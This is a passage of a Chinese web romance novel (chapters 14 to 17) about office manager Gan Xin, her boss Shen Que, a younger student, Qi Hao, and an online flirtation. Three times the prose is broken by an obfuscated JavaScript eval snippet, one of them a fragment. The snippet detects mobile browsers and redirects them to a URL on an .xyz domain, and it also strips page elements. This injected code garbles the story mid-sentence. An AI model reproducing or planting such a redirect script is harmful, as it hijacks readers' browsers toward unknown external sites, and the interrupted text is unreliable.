他一定在气头上,按照沈确的性格,是绝对不会下车走过来的,但他此刻确实气势汹汹下了车,仿佛要抓到那个偷听的贼,然后好好修理一顿。 躲不过去了,甘歆捏紧了手里的手机,低头等着挨训。 跟着沈确做事很辛苦,他记忆力好、要求也高,连响应速度都不能慢,不然即使做得再好,到他这里还是会挨批,他训人的时候,不论年龄、不论男女、就事论事,还一定要你开口承认自己错了,不说别人,甘歆好几次也被他骂到眼泪狂掉。 但事实证明,跟着沈老板,的确能飞速成长,也能独当一面,他甚至能为你创造更好的、更适合你的机会。 自从接手了晟宇总经理的位置,沈确已经很久没骂人了。 也很久没抽烟了。 甘歆对现在沈确的反应没把握。 “刚刚下班?” 气势汹汹的人,拐了个弯,成了拂柳的春风。 “嗯……在看北泽村的资料。”甘歆依旧不敢抬头去看沈确,尽管已经被他投下来的阴影完全笼罩了。 沈确沉默了几秒,“辛苦了。” “应该的,”甘歆抿了抿嘴,捏紧了手里的包,“那我先走了。” 沈确没有拦,甘歆也没有等,身子一侧就准备开溜,实在不宜久留。 “甘歆,”沈确还是叫住了他,“听到了多少?” 甘歆的脚步一顿,还是礼貌地转过了身,终于抬起头带着点笑意看向沈确,“听什么?” 看他的这一眼,甘歆都有点心慌,即使在工作上大怒训人的沈确,都一丝不苟,但此刻却少了些体面,眼睛里还有些陌生的光彩。 沈确的咬肌明显地动了动,像是将涌上来的不明情绪用力按回去一样,“没什么,回去吧。” 她面色不改,点了点头,“那我走啦,沈总早点休息。” “好,你也是。” 坐进车里的一瞬间,甘歆脸上的笑容瞬间消失,因为过于紧张仿佛凝固的血液才流动起来。 沈确不想和Rita订婚? Rita在意自己和沈确的流言? 沈确在藏什么呢?难道是…… 甘歆重重呼了一口气,迅速启动了车,往出口处开的时候,从后视镜上看到沈确还站在电梯厅的垃圾桶边,好像又点了一根烟。 应该和自己没关系吧?在车库里绕到出口的这段距离,甘歆不断自省着与沈确沟通的模式和内容,即使玩笑,也是在合理的商务范围之内,从不逾矩,何况各自都没有表现出任何对对方有好感的行为,至多互相欣赏。 他们俩之前也聊过感情观,沈确的目标很明确,晟宇在他手里做大做强,甘歆也在和前男友分手后,明确说过会坚持独身,修无情道,智者再也不入爱河,沈确还夸她厉终于看透了男人来着。 出口栏杆抬起来的时候,甘歆将车窗打开了,风已经有了些初夏的暖意,吹到皮肤上都是温热的。 夜深后甘歆再来学校停车,就会给保安带一包烟,她总是想着行他人之便。 回到家后,先把北泽的资料放进了书房,她突然觉得有些疲惫,什么也没收拾,直接窝在了书房的懒人沙发上。 搬进来的时候,特意留了个角落什么都没放,就放了一坨懒人沙发,她喜欢整个人陷落进去的感觉,像是失去了重力。 明明知道和自己无关,也不该去想,可张然若有若无的话总是在心底留了些印象,沈确的行为和眼神也足够迷惑…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627035|172421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果沈确真的对自己有意,以后要怎么面对他呢? 甘歆一手捂上了脑门,有点痛苦,她此刻真心祈祷,千万不要这样,不然每一次的业绩和奖金,她都会觉得是沈确在给她放水、行方便,她不想要这种特权,但凡沈确有一丝偏心,那她所做的一切努力,都会成为无甚可说的附带品。 Rita也真是的,两个人的事扯她干什么,她最大的困难难道不是沈确吗? 恋爱中的女人,真是盲目,甘歆讨厌盲目。 心烦意乱,她想要透透气。 甘歆拿出手机,打开了景页的对话框,“在干嘛?” 景页回得很快,“喝咖啡。” “这么晚?”甘歆有些惊讶,都快十二点了,“是不准备睡了么? “嗯。” 甘歆有些奇怪,景页好像兴致不高,有点冷淡,和他平时的直白热辣有些不同,“不高兴?” 景页发了个狗狗叹气的表情,“没有太不高兴。” “不高兴就是不高兴,告诉姐姐,你为什么不高兴呀?”甘歆打出去的字仿佛在哄小孩。 “没等到人。”景页又发了个大哭的表情来。 “客户?” “这么说的话应该是下游公司的项目经理。” “那你不高兴什么,找时间修理他不就完了。” “不敢。她很厉害。” 甘歆笑了出来,故意想逗他开心似的,“有我厉害吗?” “不相上下。” 甘歆有些不是滋味,明明是想把对方的思路从工作往歪路子上引,但他好像并不想领会她给的暗示。她有些不爽,即使两人从未说明,但甘歆绝不会在景页面前提别的男人,顶多……把前两天闯进她家里的齐灏,称作了小狗。 但此刻景页却说那个人很厉害,还与自己不相上下。 难道……和景页维持这种荒唐关系的,不止她一个? “那你先忙。” 本来想纾解烦心,却又给自己找了个不痛快。 景页追问了过来,“姐姐也不高兴吗?为什么?” “因为人心难测。”甘歆拿话点他。 “我很好猜,”景页打了两行字过来,“姐姐猜吗?” “不猜,你没诚意。” “要怎么才算有诚意?” 甘歆豁出去了,“出现在我面前。” “现在?” 见他一副孤勇的样子,甘歆却有些退缩了,“算了,我说说的。” 景页没有再回,甘歆却没有锁上手机,盯着他的对话框看了很久。 晟宇大厦一楼的Costa终于将这尊佛请了出去,招商部经理特意致电店长告知有一位重要的人物就在店里,务必等所有的人走光了才可以关门,当日所有的营业额晟宇会折成等额租金抵扣表达感谢。 做咖啡的姑娘终于换上了私服,拉下了透明卷帘门,从一楼偏门离开,店长今天额外给她打了200块钱,一半算加班,一半算打车报销,她从未受到过如此优待,开开心心地在路边叫车。 一辆黄牌的迈巴赫停靠在了路边,她这才注意到一直在店里喝咖啡的人也在,车停好后,戴着白手套的司机为他拉开了车门,他侧身坐了进去。 她才惊觉,店长说的重要人物竟然是一位年轻人。 “去江边。” 齐灏右手手肘搁在了真皮扶手上,撑着脑袋闭目养神,没有再多话。 15. 第15章 “你和其他人也有和我一样的关系吗?” 甘歆看着输入框里的这行字,觉得自己实在有些无理取闹,又全部删掉。 只是网友,管人家这么多干嘛。 可——只是网友,他提别人干嘛?! 旁人不知道,甘歆自己心里却清楚,二十八岁那年,她从前前任的表现中获悉了有另一位的存在,她没有立即分手,而是就这么看着前任的倾向一点点地偏移,跟自虐似的,看两个人的感情慢慢消失,那个男人对她越来越礼貌、越来越尊敬,几乎让甘歆有一种错觉,即使让他称呼自己为“您”,他也会答应。 双向的关系,三个人实在太拥挤。 她非常理智温和地对他说已经知道了,并且不怪他,希望和平分手,却没想到落一个被男人指责的结局,甘歆到现在都想不通,为什么还要倒打一耙说自己不爱他,难道不是他先出轨的吗? 就连今天沈确的事,她也憋屈。 情绪一上来,甘歆日常穿戴在身上的盔甲就碎了,她成了一团绒绒软软的猫,只能尽量将自己蜷缩起来,此刻连懒人沙发好像都快包裹不住她了,只能紧紧用手箍住自己的腿。 她打开手机看了看,还真是日子快到了,仿佛终于找到了一个理由,鼻子酸了酸,但到底没有真想哭,只是觉得有些不爽、委屈。 书房朝北,江面在另一侧,到了晚上,那里有灯、有波光,还能看到在江面上来回移动的游轮,这里只有黑暗,而她觉得自己今晚属于黑暗。 手机震了震,甘歆这才发现,在遇见沈确之后,在车上已经将手机调成了震动模式,好像在提醒自己不要随便说话。 景页:“只要你说,我怎么样都可以。” 什么东西!甘歆根本没有跟他调情的意思,他却前言不搭后语,像一个随时都能发情的疯子,无所谓她到底她是不是在低沉,是不是在怀疑——简直不可理喻,甘歆气急败坏地回他:“说得比唱得好听。” 叮咚—— 门铃也响了,甘歆的注意力从手机里拽出来,起身穿鞋,这么晚了,谁会来? 月黑风高的,难道是小偷? 她轻手轻脚地走到了门边,透过猫眼往外看,竟然是齐灏! 怎么会是他?这么晚有什么事? 就因为今天自己没下楼找他,追杀到这里来了? 她想假装睡着了,并不理会这声门铃,眼睛盯着猫眼往外看,齐灏只穿了件浅蓝色的衬衫,套了个灰色的休闲西服,连裤子也是灰色的,他来干嘛? 门铃没有再响,手机却震了。 齐灏:“学姐睡了吗,刚刚做完家教,上来打个招呼。” 没苦硬吃,没招呼硬打,有病,不理他。 齐灏:“带了些蝴蝶酥,挂门把手上了,记得拿。” ……还送上礼了?这怎么……不好意思了,收下。 甘歆一动不动,就贴着猫眼看齐灏在门外的动静,看他真的认真在门口等了一会儿,又转身走了,直到拐进电梯厅的那个方向,才放下心来。 这么一闹,刚刚的郁结好像都散了,她这才觉得自己矫情起来,跟一个素未谋面的网友上纲上线计较什么关系,甘歆此刻庆幸自己没有将那个问题打出去,不然回过头来还会瞧不起自己。 又往猫眼里看了看,确定门前没人、左右走廊都没人,她才轻轻把门打开了一条足够让手臂伸出去的缝,弯了弯胳膊肘,把挂在门上的袋子取了下来,拿进来后又迅速把门关上了,一开一关连五秒钟都不到。 竟然是江畔饭店的袋子,记忆里这家老牌饭店的蝴蝶酥都会排长长的队伍,这么晚了他是怎么买到的,转念一想,他是齐灏,这一切也说得通。 再去看景页的回复,甘歆心里就平静了下来。 “我不会唱歌,说话也不好听。” 她叹了口气,到底还是心软了,“你都没和我说过话,你说得不算。” “那我说一句话,你会开心点吗?” 甘歆从袋子里取出了一片蝴蝶酥,另一只手回复道:“大概会吧。” 蝴蝶酥靠近了唇边,她已经嗅到了黄油的香气,上面还洒满了粗粗的白砂糖粒,纹路顺畅,连拐弯的地方都很丝滑,甘歆张开了唇咬上了一口—— 景页真的发了一条语音过来,“姐姐。” 嘴边还有刚咬上的酥脆感,化到嘴里却都是绵软,她的味蕾在听到景页声音的那刻变得十分敏感,不是很甜,但香气四溢。他音色不亮,还夹杂了些带着疲惫的沙哑,像是偷偷在她耳边说似的,他的声音和蝴蝶酥重合了,甘歆终于笑了起来。 “下血本了。”甘歆打了一行字过去,没有再逼他接着说话。 景页发了个小狗挺起胸脯的表情包过来。 甘歆真正放松了下来,想到明天的日程,觉得还是早点睡比较靠谱,“洗澡了,我困了,睡觉。” 23楼的消防安全楼梯里,全黑的空间,只有齐灏手里的手机屏幕发着亮,他靠着铁制的楼梯架子,上身的毛衣脱了,裤子是临时和司机换的,头向上仰着,回忆着刚刚甘歆拿蝴蝶酥的模样,猫猫祟祟的。 心里的欢喜好像要溢出来,他忍不住学了一声猫叫,“喵呜——” 在黑暗的遮掩下,他露出了难得一见的满足笑脸。 —— 清醒后,甘歆已然恢复了常态,正在卫生间对着镜子画眼线呢,突然想起来昨天太子爷的微信没回,赶紧拿起了放在洗手台上的手机,打开了齐灏的对话框。 “谢谢!昨天睡得晚,没看到信息,收到了,很好吃。” 很好,很官方,发送。 上午的会议安排得很满,还有两个面试,甘歆在几个会议室里连轴转,一直到快11点30才停下来,刚进办公室喝了口水,张然就在线上敲自己。 “快看邮箱!” 甘歆这才打开Outlook,一上午被抄送的邮件噼里啪地来了一堆,最后一封是11:28分发出来的,竟然是HR发的人事变动通知。 即日起任婷Rita不再担任总经理助理一职,由王潇Lucas接手。 就这么一行字,连任何的工作交接都没有,甘歆有些惊讶,看来昨晚她撞破的那一场“冲突”比她想得更大,竟然让沈确第二天就把人换了,Rita的去处、调岗信息都没有,难道是直接把人开了?她觉得不可能,应该是沈确没有授意,HR也不知道该怎么写吧。 大概字少事大,就是这么个意思。 还没来得及和张然八卦两句,甘歆桌上的固话响了,除了内线,她很少接到固话。 “歆总,我是王潇,您现在方便吗,总经理请您来一趟,有关北泽村的事。” “好的,多谢,我马上过来。” 王潇的风格甘歆很欣赏,自报家门、礼貌问询、还会告知大概事项,她一直觉得沈确就应该配这样利落的助理,Rita多少有些给沈确拖后腿了。 甘歆进门后,王潇就已经端了一杯红茶进来,礼貌点头打招呼后,退出去时带上了门。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630117|172421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “坐。”沈确已经坐在了单人沙发上。 甘歆坐在了长条沙发的一侧,离沈确大概有一人位的样子。 “什么时候出发?” “周六,今早事多,OA我一会儿提交。” 沈确皱了皱眉,“谁催你OA了,你不提流程难道不给你报销吗?” “没有没有,”甘歆笑得礼貌,但毕竟昨晚刚见识过沈确不太体面的样子,此时她十分收敛,“公司流程还是要遵守一下的。” “没什么要问我的?” “问什么?”甘歆带着些疑问看向沈确。 “随便什么,看到的,想到的,有想法的?” “我不太懂您的意思。” 沈确右手握拳在嘴边轻咳了一声,“北泽村。” “哦哦,北泽村,”甘歆满脑子他和Rita的那点事,完全不记得工作了,“这个真没什么了,F大的学弟给我整理了一份非常详细的村志,挺管用的,我下午约他再讨论一下。” “哦?”沈确眼睛弯了弯,“很少听我们歆总夸人啊。” “……这,我的部门我天天夸啊?” “学弟人怎么样?靠谱吗,”沈确拿起面前泡好的大红袍喝了一口,从杯沿处抬头的时候特意看了甘歆一眼,带着些揶揄,“万一有冲突,能拉着你跑吗?” 齐灏……很难不靠谱吧,给的资料都这么足…… 至于一起跑路这事,那两条腿都长成那样了,应该不是装饰吧? 甘歆没敢把话说满,她习惯在沈确面前保留一分,“徐教授推荐的,应该靠谱,”虽然他没关照过自己保密身份,但看老徐那个劲,甘歆觉得还是不要节外生枝的好,“看起来体能也过关。” “嗯……”沈确的表情甘歆有些看不懂,好像放心了些,又好像更不放心了,“下午他来公司讨论吗,我下午正好有空,一起见见?看看有没有机会留他在公司实习帮你?” “不用不用,”甘歆脑子转了个弯,讪讪笑道,“这次是请人家帮忙的,用实习吊着……不厚道。” “哦……”沈确已经把茶杯放到了矮桌上,发出了轻轻的一声闷响,表情里带着些笑,“原来你觉得我当年拉你实习,是不厚道啊?” 什么老狐狸,答一句有十句等着。 甘歆愣得说不出话,明明已经三十多岁了,但在沈确面前,好像还是那个刚刚毕业的女孩一样,对他意有所指但不知其意的话总是无法招架。 “Rita我已经劝她离开晟宇了,”沈确自顾自地转了话头,“你别在意,她就是有点人来疯,回自家企业里更合适一些。” 甘歆眨了眨眼睛,弄不懂沈确是在陈述还是试探,他总是模棱两可、难以捉摸,只能坦言,“沈总好像误会了,我没感到不舒服。” “真的?” “真的,我和她没有矛盾的。” 沈确的脸色难看了一瞬,又立刻恢复了原样,“那就好。” 甘歆喝了一口茶,发现已经凉了,再坐下去好像也尴尬,索性对说:“没事的话我先撤?” “去F大?” 甘歆点了点头,直觉告诉她还是别说要领回家的好,“嗯。” “那吃了午饭就走吧,那边不好停车。”沈确的声音也柔和了下来,语气里透着关心。 “好,谢谢沈总,我下去了。” 退出去合上门之前,她又特意往里看了一眼,沈确就这么直愣愣地坐在单人沙发上,盯着他面前那杯,也不再冒热气的大红袍发呆。 16. 第16章 离开公司之前,甘歆将出差的流程提了,她这次没让张然提前订机票,这些细碎的事情因为齐灏的关系变得有些复杂,即使被告知只是一个普通人,她还是无法完全将他和寰科剥离开来。 徐教授的信息恰巧发过来,打错了几个字,甘歆觉得有些好笑,不会是这小老头在政府办公室开调研会的时候偷摸发的吧,内容和甘歆想得一样,北泽村的事说得少,关照看顾好太子爷才是重点,又给自己发了两个电话号码,说是两个在当地的同窗,如果有什么事要找人,可以找他们。 老徐这人不错,甘歆笑了笑,市侩归市侩,上心也是真上心,马屁不对着太子爷拍,拍到她这来了,偷偷给太子爷卖人情,不着痕迹的关照,的确容易让人亲近,她也不打算瞒着,回头也替他在齐灏面前漏两句,算是报答。 午饭后下地库的人不多,她很快驶离了出去,倒是没先回家,去了趟进口超市,人来做个家教都给自己带个网红蝴蝶酥,这种早早告知时间的出席,甘歆一定也要尽些地主之谊,不能说饕餮盛宴,至少得上得了台面。 她选了两片牡蛎牛排,又拿了一袋意面,最后在蒜香面包这停住了,好久没有吃蒜香味的东西了,实在是嘴馋,纠结了几秒气味问题,还是拿了一包放进了购物篮里,最后拿了个凯撒酱金枪鱼罐头和些配菜去结了账。 车开到对面学校,也不过只有三点半,还能听到从操场上奔跑踢球的声音,阳光的倾斜角越来越大,照耀在学校的红砖和绿色的香樟树上,对比度强烈,连颜色好像都有了力量,在相互挤压膨胀。 “今天这么早啊,”保安室的大叔对着甘歆笑道,“很难得嘛。” “是啊,大哥忙嘛?”甘歆对陌生人从不敷衍,不会把任何人的话落在地上。 “忙,哎呦每天事可多了,来个人就登记。” “您辛苦啦,没两个小时下班了,快了快了。”甘歆对着保安笑笑,离开了学校。 不工作的时候,甘歆很喜欢这种废话文学,觉得大家都懒懒散散的,又各自轻松舒展,日子很有奔头。 齐灏来得比自己预想得要晚一些,快六点了才出现在她家门口。 甘歆在逛超市的时候,突然想起来前两次齐灏来她家都没穿拖鞋,想到他连进厨房也是穿着袜子直接踩在地砖上的时候,她几乎羞愤难忍得弯了个腰,又速速去家居用品那挑了双男士薄棉拖。 这会儿倒是一脸风平浪静,一点看不出仓促。 人还没进门,齐灏先递了个袋子进来,甘歆顺势接了过去。 “什么啊,晚饭我买了的,”甘歆一边打开一边招呼他进来,“藕粉?芝麻糊?豆浆?米糊?能量棒?糖?!” “嗯,”齐灏的眼睛往地上看了看,“新买的?” “……以前的,上次忘记拿出来了,”甘歆说得也轻松,“你凑合穿吧。” 等齐灏真的伸了两只脚都放进去了后,他看向甘歆的眼神就带了点疑问,“以前的拖鞋怎么还扣在一起?” “什么扣在一起?”挑剔什么呢,给准备拖鞋还问东问西,甘歆有些不耐烦了。 齐灏索性脱了鞋,弯腰拿了起来,两只手各拿一只,往两边一掰,中间连着一根透明的细带,表明了这双鞋是全新的事实,“学姐有心了。” 幸好他没开口嘲讽,不然甘歆觉得这个男生实在是欠揍。 “快穿吧,”她将话题引开,“你给我这些干嘛啊,我又不是孤寡老人。” “又不是只有孤寡老人才吃这些,”齐灏熟练地带着拖鞋去厨房里找剪刀,人没完全进厨房时,又补了一句,“你自己也不买。” 还在门口的甘歆叉腰仰头笑了笑,齐灏本身就像个二极管一样,明明是天之骄子,做事总是贴心又接地气,可刚觉得他好接近,又会被他那股刻在骨子里的疏离冷到。 这些种种,体现在一个只有20岁的男生身上,确实有些不可思议。 到底是和普通人不一样的吧,甘歆在门口陷入了自己的思考,连齐灏叫她都没听到。 “学姐?”齐灏的手在她面前晃了一下。 “嗯?”甘歆的眼睛眨了眨,“什么?不好意思,刚刚在想事情。” “晚上是吃牛排?” “嗯,我来做,”甘歆往厨房里走,“你休息会儿,随便坐,从学校过来久么?” “还好,”齐灏的嘴角有些笑意,淡淡的,“需要帮忙吗?” “没事,很快的。” “学姐的书房可以借用一下吗,”虽然是请求,但齐灏更像是随口问问,“学校团委有个事需要沟通,大概四十分钟左右。” “噢,可以的,”甘歆带着齐灏到书房门口,帮他打开了灯,侧身让齐灏进去,“随便用,可以关门,隔音还挺好的。” “抱歉,谢谢学姐。”齐灏没客气但也守分寸,等甘歆转身了后,将门关小了一些,留了条缝,到底没有关上门。 甘歆煎牛排的功夫,是在西班牙出长差的时候,和一家当地又名的餐厅主厨学的,主厨不仅教她煎牛排,还教她怎么挑好的牛肉,教到后头直夸甘歆是他见过最有天分的人,当晚分别行贴面礼的时候,还悄悄在她耳边问能不能吻她。 她说不来西语,却听得懂,不着痕迹地躲开了,回国之前,她再也没去过这个餐厅。 倒是偷了个本事回来,也不算亏。 意面是最先下锅的,煮开后又将蒜香面包切成了厚片放到空气炸锅里,120度定时6分钟,她喜欢那种酥脆的口感。 6分钟,也足够她看一眼手机,景页的信息是在10分钟之前发来的,甘歆靠在料理台上看。 景页:“又要开会。” 配了一张狗狗哭泣的表情包。 甘歆回:“下班的时候?” 景页回得很快:“临时被喊。” 甘歆笑了笑,发了个抚摸小狗脑袋的表情包过去。 “姐姐,蹭蹭。” 她无意打扰,没再回复,心情却不错,空气炸锅的提示音和煮意面开的水同时响起来,甘歆把之前就用橄榄油和黑胡椒腌好的牛排放进平底锅里,静置、尽量少翻面,锁住牛肉原有的水分,半熟的时候扔了两根迷迭香进去。 本来七分熟的时候应该正好,可甘歆又想到齐灏给自己带的那些对胃友好的“小零食”,还是煎到了全熟,盛在精致的瓷盘里,意面放到了盘子的另一半,她有临时单面煎了两个鸡蛋,黄澄澄的鸡蛋黄很诱人。 空气炸锅里的蒜香面包拿了出来,甘歆找出餐刀打开了金枪鱼罐头,每片抹了一点上去。 比起上次的家常菜,这次的确是顶配了。 放上餐桌后,甘歆走到书房门口,本想去敲门的,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633937|172421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通过门缝和齐灏的眼神撞在了一起,他嘴里的话没有停,听不清内容,但说的好像是粤语,有着不同他年龄的低沉、稳重,像是细细的铁砂,冰冷,也带着些暗哑。 这么看齐灏,才对他是寰科太子爷的身份又有了实感,身上虽然只是简单的白衬衫,却好像撑出了一些只有经年在商界里稳坐主位大佬才有的从容。 甘歆这才想起来,寰科最初是在广粤发迹的,从南往北慢慢渗透,又在海外市场大刀阔斧地收购,最终铸就了自己的商业帝国,只不过掌舵寰科的齐家向来低调,几乎不在公众面前出现,也难怪齐灏能在学校里装得如鱼得水。 她回到了餐厅里,又去厨房取了餐具,齐灏就拿着他自己的电脑出来了。 “抱歉,久等了。” “没事,”甘歆招呼他坐下,这次特意将他的位置放到了对面,“快吃吧,都有些凉了。” 齐灏点了点头,拿起了甘歆准备的刀叉,他的手白皙修长,一点瑕疵都没有,拿刀叉的手腕角度像是弹钢琴,手背几乎是直的,切牛排的餐刀明明已经到了底部,却没有发出一点和瓷盘摩擦的声音。 “你们团委里都是广粤人?”甘歆见他不说话,闷得很,自己挑了个话头。 一直等到嘴里的牛排咀嚼完了咽下,齐灏才开口,“不是,分校那边有个活动,团委里没有会说白话的广粤人。” “……哦,”甘歆叉子盛起了煎蛋,一点点咬进去,舔了舔不小心留在嘴唇上的流心蛋黄,才继续说道,“那你还挺平易近人的嘛。” 齐灏没说话,甘歆抬头看他,发现他的眼眸有些深邃,“怎么了?” “我就是个普通人而已。”齐灏这才低下头继续吃饭。 餐盘里的东西下肚一半,齐灏伸手去拿抹了金枪鱼的蒜香面包,甘歆有意阻挠了一下,齐灏的手停在半空,眼神在问甘歆怎么了。 “蒜香的,不知道你介不介意。” 齐灏眼睛和嘴角都弯了弯,继续去拿,就着甘歆的眼神吃了一口,“很香,刚刚就闻到了。” 不知为什么,甘歆有些不自在,她低头吃了一口牛排,却不小心咬上了口腔侧边的软肉,轻轻嘶了一声,她有意糊弄过去,也去抓了个蒜香面包,想当做什么都没发生。 事实上,齐灏也只是余光了一眼,没多说话。 碗依旧是齐灏洗的,甘歆也随便他去,眼里有活是好事。 趁着齐灏洗碗的功夫,甘歆给景页发了条信息,“会开完了吗?” 厨房的水声停了,但甘歆没注意,很快收到了景页的回复,“开完了,刚吃好饭,姐姐吃饭了吗?” “吃了,我晚上还要加班。”甘歆实在没找到合适的表情包,又加了两个字过去,“烦恼。” 景页又回:“想逗狗吗?” 甘歆眉毛皱了皱,憋了个笑,这个人说话总有歧义,字字正经,又句句不正经,厨房的又响起来的水声提醒了她屋子还有别人,她想了想,回了一句话过去。 “上次乱尿的小狗又跟来了,先给它做规矩。” 齐灏抬腕看了看甘歆发来的信息,脑袋往左一转,好像透过墙在看那个坐在餐厅里的人,明艳、优雅又迷人,让他欲罢不能,处心积虑也要接近的,漂亮姐姐。 他低头吻了一下腕表表盘,用只有自己听得见的声音说:“好的。” 17. 第17章 和齐灏聊项目是件很畅快的事,他项目资料吃得很透,思路也宽阔,还会提出自己的见解,几个来回聊下来,甘歆对他都有些刮目相看,她自认自己20岁的时候没有他这样的境界。 这次齐灏做得准备更充足了些,他甚至带来了上次给甘歆资料的复印件,没有再坐在她的旁边,甘歆看到正在噼里啪啦打字的齐灏,一瞬间有点晃神。 他的衬衣袖口早在去厨房洗碗的时候就卷上去了,露出的小臂肌肉松弛着,线条也笔直流畅,再看腕骨,又觉得有些熟悉,好像……和景页的有些相似。 一样的干净白皙,视线捕捉到齐灏手上的腕表,甘歆就断了这份猜测。 景页的手腕上从来不戴任何东西。 对于景页的真实身份,甘歆不是没好奇过,最开始也因为担心他是身边的某个熟人而刻意冷淡过,但经过一段时间的相处,身边并没有出现奇怪的事,她也慢慢放松了下来,和景页在线上互相勾引、乐此不疲。 甘歆自认是个特别讲武德的人,好奇归好奇,但从不打探,互相只确认了对方是单身,别的从未提及,比起他的真实身份、年龄、职业,她更喜欢景页在小小的手机屏幕里的样子。 有一次,和甘歆视频的景页手里正好有一把钢制的卷尺,她就在话里使坏,说要给景页量体裁衣,虽然在屏幕里没看见脸,但从他胸口紧绷的肌肉里,甘歆读到了一点羞涩。 但照旧没有放过他,卷尺从左边的肩窝横跨到右边的,她还一定要让景页用冰凉的卷尺盖住那两个小小的凸起,又说横过来的量过了,竖的还没有,就从颈窝开始扯开钢尺向下,一直到看清他内裤裤腰上的logo才放过他。 最后量的是腰围,反着光的钢制卷尺绕了一圈,将他的腰围住,怎么会比胸围小这么多,可上面的层层肌肉却一点都不弱,她见过它们喷张的样子,每每都性感得让她发出呜咽。 那天玩得太过,钢制的卷尺在收回来的时候擦到了景页的腰际,划破了一道挺长的口子,景页和甘歆都愣了一下,但他立即给她发了个小狗没事的表情包来,甘歆却有些惭愧,对着麦克风隔空给他吹了吹。 那道口子看起来长,虽然不深,但还是在景页身上留下了一道浅浅的疤痕。 甘歆自责过,景页却告诉她,这是姐姐赏他的勋章。 他们的关系好像就是从那天开始,由单纯的欲念,转变成了会互相分享日常,聊山话海,谈天说地。 “学姐?”齐灏的声音落到了耳朵里,甘歆回了神。 “嗯?” “我去添个热水,你要吗?” “噢,好的,谢谢。” 目光好像从很远的地方回来,甘歆望着齐灏的背影,欣长、挺拔,透着和自己不一样的、真正的年轻,她无意识地挑了个眉,想着如果自己如今若是二十三的话,会做出什么样的事情。 事业不谈,感情上,至少会约景页出来见一面,合拍就恋爱,不合拍就散。 可换到三十三,心境就大不相同了,并非懦弱胆小,而是真的不愿意重蹈覆辙浪费时间,对于现在的甘歆来说,取悦自己比什么都重要。 快乐就好了,又何必去纠结为什么快乐呢。 冒着热气的水杯放到了自己面前,甘歆有些意外原本里面的茶水被替换成了白开水,她看了眼齐灏杯子里的,依旧是茶水,皱了皱眉。 “不早了,再讲一会儿我就走了,茶喝多了睡不好。” “你怎么跟个老古董一样,”甘歆从那天拿到藕粉的就有的疑问,直接问了出来,“年纪轻轻的。” 齐灏面不改色地喝了一口茶,“有么?” “20岁……藕粉?芝麻糊?”甘歆没忍住笑了出来,“我都不会买。” “所以你胃疼。” 齐灏看过来的眼神坦然又直白,好像还带了点责怪,一点都没把甘歆当长辈的意思,好像在指责一个不懂得照顾自己的小孩。 甘歆自知理亏,但嘴上不认,“难得一次被你碰见了而已。” “没遇见呢?” “回家,吃药,睡觉,”甘歆不耐烦地抬了抬下巴,“又不是第一次了,赶紧看看还有什么问题,后天出发了。” 齐灏的表情沉了下去,连声音都冷了几分,“没什么问题了,明天我把宣讲资料发给你,早点确认,我去打印。” 第一次听到齐灏冰冷的语气,甘歆还有些错愕,之前的分寸和礼貌全然消失,抬头盯着齐灏看了几秒,年长者的傲慢就显露了些出来,老徐担惊受怕呵护备至,甘歆可不惯着。 “不装了?” “什么?”齐灏的眉头皱了皱。 “普通人啊。” 齐灏语塞了一下,眉头都拧紧了些,几乎是脱口而出,“你怎么不知好歹。” 听到他这么说,甘歆反而笑了出来,感觉好像一直罩在齐灏身上的那层“少年老成”的透明膜终于被揭开了,露出了年轻活泼的里子来。 她伸手怼了齐灏一下,笑着问:“怎么就不知好歹了?” “那天要是没遇见我能挺到家吗?”齐灏重重瞥了甘歆一眼,又追了一句,“你又不是不知道自己有胃病。” “说明我那天走运啊,”甘歆眉眼弯弯,对着齐灏展了个大笑脸,“活到我这个岁数你就知道,人不可能天天走运的。” “你岁数很大吗?”齐灏根本没搭理她的感性发言,自顾自地说,“三十三而已。” “而已?在古代我努努力能当你妈了。” 齐灏一脸无奈,“我走了。” “哎你别生气啊,”甘歆好像逗狗上了瘾,“我就这么一说。” “没生气,”齐灏脸绷得紧,站了起来就要往外走,说话的口气依旧有些僵硬,“十一点了,你早点休息。” “齐灏。”甘歆叫住他。 他回过头来,看向甘歆的眼神像蒙上了一层雾,说话的声音也朦胧,“嗯。” “那天真的谢谢你,”甘歆的表情不再戏谑,诚挚的笑容浮现,“我很久没有发过这么严重的胃病了,如果没有你的话,我可能真的会晕在电梯里。” 站着的齐灏挡住了从天花板倾泻下来的光,落到地板上就是一个轮廓模糊的人形阴影,逆着光,甘歆看不清他的表情。 “你有想过那天为什么会犯病吗?”齐灏往前走两步,到甘歆面前,表情清晰了起来,多了些压迫感,“记住它,规避它,不是你刚刚教我的吗?” 